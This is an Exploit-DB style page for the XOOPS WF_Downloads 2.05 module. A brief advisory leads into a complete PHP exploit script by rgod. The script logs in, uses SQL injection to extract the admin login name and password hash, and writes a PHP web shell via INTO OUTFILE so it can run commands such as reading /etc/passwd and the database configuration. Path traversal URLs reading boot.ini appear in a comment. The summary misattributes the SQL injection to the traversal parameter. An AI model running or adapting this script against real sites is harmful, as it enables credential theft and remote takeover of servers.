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Suggest Exploit
vendor:
WF_Downloads Module
by:
rgod
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WF_Downloads Module
Affected Version From: 02.05
Affected Version To: 02.05
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache
2005

XOOPS WF_Downloads Module v 2.05 SQL injection / Admin credentials disclosure & remote commands execution all-in-one

XOOPS WF_Downloads Module v 2.05 is vulnerable to SQL injection, which allows an attacker to disclose admin credentials and execute remote commands. The vulnerability is due to insufficient sanitization of user-supplied input in the 'xoopsConfig[language]' parameter of the 'editor_registry.php' script. An attacker can exploit this vulnerability by sending a malicious HTTP request containing a specially crafted 'xoopsConfig[language]' parameter to the vulnerable script. This will allow the attacker to disclose admin credentials and execute remote commands.

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to modify the intended logic of the application. Additionally, the application should be configured to use the least privileged account with the least amount of privileges necessary to perform its intended function.
Source

Exploit-DB raw data:

<?php

/*
rgod:
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
added for future reference /str0ke
*/

#   ---XOOPS_WFd205_xpl.php                             11.35 12/11/2005       #
#                                                                              #
#          XOOPS WF_Downloads Module v 2.05 SQL injection /                    #
#      Admin credentials disclosure & remote commands execution all-in-one     #
#                              by rgod                                         #
#                  site: http://rgod.altervista.org                            #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-Tzu: "Indirect tactics, efficiently applied, are inexhausible as Heaven #
#  and Earth, unending as the flow of rivers and streams; like the sun and     #
#  moon, they end but to begin anew; like the four seasons, they pass away to  #
#  return once more.                                                           #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>XOOPS WF_Downloads module 2.05 SQL Injection    </title>
<meta http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style
type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
XOOPS WF_Downloads module 2.05 SQL Injection                      </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&action=value"><p><input   type="text"
name="host"> <span class="Stile5"> * hostname (ex: www.sitename.com) </span></p>
<p><input type="text" name="path"><span class="Stile5"> * path ( ex: /xoops/  or
just / )</span></p><p><input type="text" name="username"><span class="Stile5"> *
username</span></p><p><input type="text" name="password"><span class="Stile5"> *
...and password, to retrieve a session cookie</span> </p> <p><input  type="text"
name="action"><span class="Stile5"> * action: "HASH" to disclose admin loginname
& MD5 password hash, "CMD" to launch commands </span> </p><p> <input type="text"
name="pathtoWWW"><span class="Stile5">path to WWW ftom Mysql directory,need this
for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p>   <input
type="text" name="table_prefix"> <span class="Stile5"> specify a table  prefix
other than the default (fXZtr_)</span></p><p><input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command, example:
ls -la  to list directories, cat /etc/passwd to show passwd file, cat ./../mainf
ile.php to see database username and password</span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)
</span></p><p><input type="submit"name="Submit" value="go!"> </p> </form>  </td>
</tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>""))
{

$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($table_prefix=='') {$table_prefix="fXZtr_";}
$action=strtoupper($action);
if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action..."; die;}
if ($action=="CMD"){if ($command==""){echo "specify a command..."; die;}}

# STEP 1 -> Login to retrieve a session cookie, bypass referrer check...
$data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=login";
$packet="POST ".$p."user.php HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile%2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3f806816476461a96e18c28044414\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);

if ($action=='HASH'){
# STEP 2a -> Disclose Admin MD5 password hash
$SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM ";
$SQL.=$table_prefix."users WHERE level=5/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

$temp=explode('<span class="itemTitle">',$html);
$temp2=explode('</span>',$temp[1]);
echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>';
$temp=explode('<div style="margin-left: 6px;" align="justify">',$html);
$temp2=explode('</div>',$temp[2]);
echo "MD5 HASH: ".$hash=$temp2[0].'<BR>';
}

else
if ($action=='CMD'){
# STEP 3a -> Inject a shell through a query...
$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";
$SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO";
$SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

# STEP 3b -> Launch commands...
$packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}
                         else {echo "<br>Exploit Failed...";}
}
}
else
{echo "Fill * requested fields, optionally specify a proxy...";}
?>

# milw0rm.com [2005-11-12]